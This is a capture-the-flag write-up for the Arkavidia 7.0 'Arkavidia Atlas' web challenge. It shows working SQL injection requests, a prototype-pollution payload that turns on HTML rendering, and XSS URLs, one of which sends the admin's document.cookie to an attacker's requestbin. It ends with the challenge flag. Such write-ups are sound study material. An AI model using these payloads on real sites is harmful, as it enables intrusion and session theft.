# [Arkavidia 7.0 CTF Writeup] Arkavidia Atlas

## Chall Description
<hr>


![arkavidia_atlas_chall_desc.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866152524/7KvOnXz5K.png align="center")

## Initial Foothold
<hr>

When first visit the webpage, we get this view of some sort of maps :


![arkavidia_atlas_web_view.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866160432/IeXgjYLRB.png align="center")

There is something interesting on the source page and on the JS files :

### view-source:http://slave2.ctf.arkavidia.id:10021/
```html
<!doctype html>
<html>

<head>
    <title>Arkavidia Atlas</title>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link href="tailwind.css" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.7.1/dist/leaflet.css" integrity="sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZMZ19scR4PsZChSR7A==" crossorigin="" />
    <script src="https://unpkg.com/leaflet@1.7.1/dist/leaflet.js" integrity="sha512-XQoYMqMTK8LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA==" crossorigin=""></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/leaflet.markercluster.js" integrity="sha512-MQlyPV+ol2lp4KodaU/Xmrn+txc1TP15pOBF/2Sfre7MRsA/pB4Vy58bEqe9u7a7DczMLtU5wT8n7OblJepKbg==" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="atlas.js" type="text/javascript"></script>
</head>

<body>
    <div id="map" class="w-full h-full absolute" style="z-index: -1"></div>
    <div class="bg-white shadow-lg w-full max-w-md absolute m-4 rounded-sm">
        <div class="p-3">
            <h1 class="text-2xl">Arkavidia Atlas</h1>
        </div>
        <div id="inst" class="p-3 border-t">
            <p>Click on a pin to see the location details</p>
        </div>
        <div id="details" class="hidden border-t">
            <img id="poi-preview" width="100%" class="mb-2" />
            <div class="p-3">
                <h3 class="text-xl" id="poi-title"></h3>
                <p id="poi-desc" class="mt-2 text-gray-500"></p>
                <div class="mt-3">
                    <span class="text-red-500 text-xs cursor-pointer" id="close-btn">&#x2715; &nbsp;Close Details</span>
                </div>
            </div>
        </div>
    </div>
    <form id="reportform" action="report.php" method="post">
        <input type="hidden" name="hash" id="report-url" />
    </form>
</body>

<script type="text/javascript" src="app.js"></script>

</html>
```

### view-source:http://slave2.ctf.arkavidia.id:10021/atlas.js
```js
const isObject = (obj) => typeof obj === "object";

function merge(dest, src) {
  for (let attr in src) {
    if (isObject(src[attr])) {
      if (!dest[attr]) dest[attr] = {};
      merge(dest[attr], src[attr]);
    } else {
      dest[attr] = src[attr];
    }
  }

  return dest;
}

function parseHash(hash) {
  if (!hash) return {};
  let parts = hash.split("&");
  let out = {};
  for (let part in parts) {
    let sect = parts[part].split("=");
    let key = sect[0];
    let val = decodeURIComponent(sect[1]);

    merge(out, { [key]: val });
  }

  return out;
}

function setHashParams(newParams) {
  hashParams = merge(hashParams, newParams);
  let attrStrings = [];
  for (let attr in hashParams) {
    attrStrings.push(attr + "=" + encodeURIComponent(hashParams[attr]));
  }
  window.location.href = "#" + attrStrings.join("&");
}

var hash = window.location.hash.substring(1);
var hashParams = parseHash(hash);
```

### view-source:http://slave2.ctf.arkavidia.id:10021/app.js
```js
var lat = -6.8905652;
var long = 107.6101062;
var zoom = 17;

window.onhashchange = function () {
  let hash = window.location.hash.substring(1);
  hashParams = parseHash(hash);
  let openedId = hashParams.o;
  openDetails(openedId);
};

if (hashParams.c) {
  lat = hashParams["c.lat"];
  long = hashParams["c.lon"];
}

if (hashParams.z) {
  zoom = hashParams.z;
}

var points = {};

function openDetails(id) {
  let point = points[id];
  if (point) {
    $("#details").show();
    $("#inst").hide();
    $("#poi-title").text(point.name);
    if (point.img_uri) {
      $("#poi-preview").attr("src", point.img_uri).show();
    } else {
      $("#poi-preview").hide();
    }

    point.isHtml
      ? $("#poi-desc").html(point.description)
      : $("#poi-desc").text(point.description);
  } else {
    $("#details").hide();
    $("#inst").show();
  }
}

function loadBounds(lngLb, latLb, lngUb, latUb) {
  $.get(
    "poi.php",
    { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
    function (data) {
      markers.clearLayers();
      points = {};
      for (let key in data) {
        let point = data[key];

        merge(points, { [point.id]: point });

        if (point.id === hashParams.o) {
          openDetails(point.id);
        }

        let id = point.id;
        L.marker([point.lat, point.lng])
          .on("click", function () {
            if (hashParams.o !== id) {
              setHashParams({ o: id });
            } else {
              setHashParams({ o: "" });
            }
          })
          .addTo(markers);
      }
    }
  );
}

var map = L.map("map", { zoomControl: false, maxZoom: 18 }).setView(
  [lat, long],
  zoom
);
let markers = L.markerClusterGroup();
map.addLayer(markers);

map.on("moveend", function (e) {
  let center = map.getCenter();
  let zoom = map.getZoom();
  let bounds = map.getBounds();
  loadBounds(
    bounds._southWest.lng,
    bounds._southWest.lat,
    bounds._northEast.lng,
    bounds._northEast.lat
  );

  setHashParams({
    "c.lat": center.lat,
    "c.lon": center.lng,
    z: zoom,
  });
});

$("#close-btn").click(function () {
  setHashParams({ o: "" });
});

function reportMap() {
  $("#report-url").val(window.location.hash.substring(1));
  $("#reportform").submit();
}

L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", {
  attribution:
    '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors | <a class="cursor-pointer" onclick="reportMap();">Report Map</a>',
}).addTo(map);

let bounds = map.getBounds();
let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);
```

From all of the code above, we assume there should be a XSS technique involved on the solve step to get the flag. We get this assumption based on there is exist a form that we can report something to admin and there is exist an unsafe *merge* function that used on the JS code.


## Finding the SQL Injection
<hr>

On the *app.js*, there is a background request made to path */poi.php* with some parameters. My teammate, Fadli, then found that there is SQLi on the GET param request. This is the example request and response from normal request :
<table align="center" >
  <thead>
    <tr>
      <th width="50%">Request</th>
      <th width="50%">Response</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td width="50%">
        <pre>GET /poi.php?lng_lb=107.604957818985&lat_lb=-6.891912527239271&lng_ub=107.61525750160219&lat_ub=-6.889223063179617 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
Cache-Control: max-age=0
        </pre>
      </td>
      <td width="50%">
        <pre>HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 11:51:00 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 846
Connection: close
Content-Type: application/json
<br>
[
  {
    "id": "1",
    "lat": "-6.890572547912598",
    "lng": "107.6097640991211",
    "name": "Labtek V Benny Subianto",
    "description": "Labtek V adalah gedung tercinta yang digunakan oleh mahasiswa Teknik Informatika dan Sistem dan Teknologi Informasi ITB. Gedung ini memiliki kembaran lainnya, yaitu Labtek VI, VII, dan VIII yang masing-masing memiliki namesake yang berbeda.",
    "img_uri": "https://www.itb.ac.id/files/images/1492062830.jpg",
    "meta": null
  },
  {
    "id": "3",
    "lat": "-6.891597",
    "lng": "107.610387",
    "name": "Lapcin & Lapbas",
    "description": "Di dua lapangan ini biasanya IT Festival Arkavidia dilaksanakan! Lapangan Cinta dan Lapangan Basket merupakan saksi bisu dari kegiatan kemahasiswaan di ITB, baik itu konser maupun agitasi.",
    "img_uri": "https://rinaldimunir.files.wordpress.com/2012/12/271120122982.jpg?w=1280&h=960",
    "meta": {
      "establishment": "open space"
    }
  }
]
        </pre>
      </td>
    </tr>
  </tbody>
</table>

From the normal request above, we know that the *meta* value could contain another JSON object, so we try to use **JSON_OBJECT** of the MySQL to select some JSON object on the *meta* value. 
<table align="center">
  <thead>
    <tr>
      <th>Request</th>
      <th>Response</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        <pre>GET /poi.php?lng_lb=1&lat_lb=1&lng_ub=(select+108)+and+false+union+select+1,2,3,4,5,1,JSON_OBJECT('test',JSON_OBJECT('test2','asd'))+--+-&lat_ub=1 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
        </pre>
      </td>
      <td>
        <pre>HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 12:02:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 107
Connection: close
Content-Type: application/json
<br>
[
  {
    "id": "1",
    "lat": "2",
    "lng": "3",
    "name": "4",
    "description": "5",
    "img_uri": "1",
    "meta": {
      "test": {
        "test2": "asd"
      }
    }
  }
]
        </pre>
      </td>
    </tr>
  </tbody>
</table>

This SQLi will be used on building the payload for Prototype Pollution XSS.

## Crafting Prototype Pollution
<hr>

We know there is an unsafe *merge* function that can be used for Prototype Pollution. For the reference of what is Prototype Pollution ? Can be found [here](https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications) . 

<br>

First, when the web loads, it will try to build **hashParams** object by using the value supplied on the **location.hash.substring(1)**. Then the webpage will build some parameter and finally call function **loadBounds** :
```js
let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);
```

On the **loadBounds** function, there will be a GET request to */poi.php* and the response data will be build to **points** object using unsafe **merge** function :
```js
function loadBounds(lngLb, latLb, lngUb, latUb) {
  $.get(
    "poi.php",
    { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
    function (data) {
      markers.clearLayers();
      points = {};
      for (let key in data) {
        let point = data[key];

        merge(points, { [point.id]: point });

        if (point.id === hashParams.o) {
          openDetails(point.id);
        }
```

After that, there will be a call to function **openDetails** using the *id* received from the response :
```js
function openDetails(id) {
  let point = points[id];
  if (point) {
    $("#details").show();
    $("#inst").hide();
    $("#poi-title").text(point.name);
    if (point.img_uri) {
      $("#poi-preview").attr("src", point.img_uri).show();
    } else {
      $("#poi-preview").hide();
    }

    point.isHtml
      ? $("#poi-desc").html(point.description)
      : $("#poi-desc").text(point.description);
  } else {
    $("#details").hide();
    $("#inst").show();
  }
}
```

Since we control the value on the **points** object (using SQLi before), we have an idea to inject XSS payload on the **description** value. But, there is one requirement, **point** object must have filled value **isHtml** on the object. But, like you see on the response, there is no **isHtml** value. Do you remember previously that we can inject JSON object on the **meta** response value ? Yes, we will use that to host our Prototype Pollution payload. Since the unsafe **merge** function works recursively, we could pollute the JS prototype by using this value on the **meta** response :
```json
{"__proto__": {"isHtml": "true"}}
```

Above payload will pollute the JS prototype and add **.isHtml** value to all the object exist. 


## Combine the Vuln and Get the Flag
<hr>

By combining the two vuln, we come up with this url payload :
```
http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'<script>alert(document.domain);</script>',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh
```

Visiting above url, we could get a working XSS :

![arkavidia_atlas_xss.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866181070/75_lalPlI.png align="center")

After verify the working XSS, we then try to change the url payload to perform a request to our requestbin and try to leak the admin cookie (if there is any):
```
http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'%3Cimg%20src%3d%22https://<reqbin url>/?a%3d%22%2bdocument.cookie%3E',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh
```

Send it by trigger **reportMap()** function on the console after visiting above url, wait some time, and we receive connection from admin and the flag is located on the User-Agent :


![arkavidia_atlas_flag.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866194494/1Cuf72YA3.png align="center")

### Flag : Arkav7{capek_bikin_soalnya_sumpah}
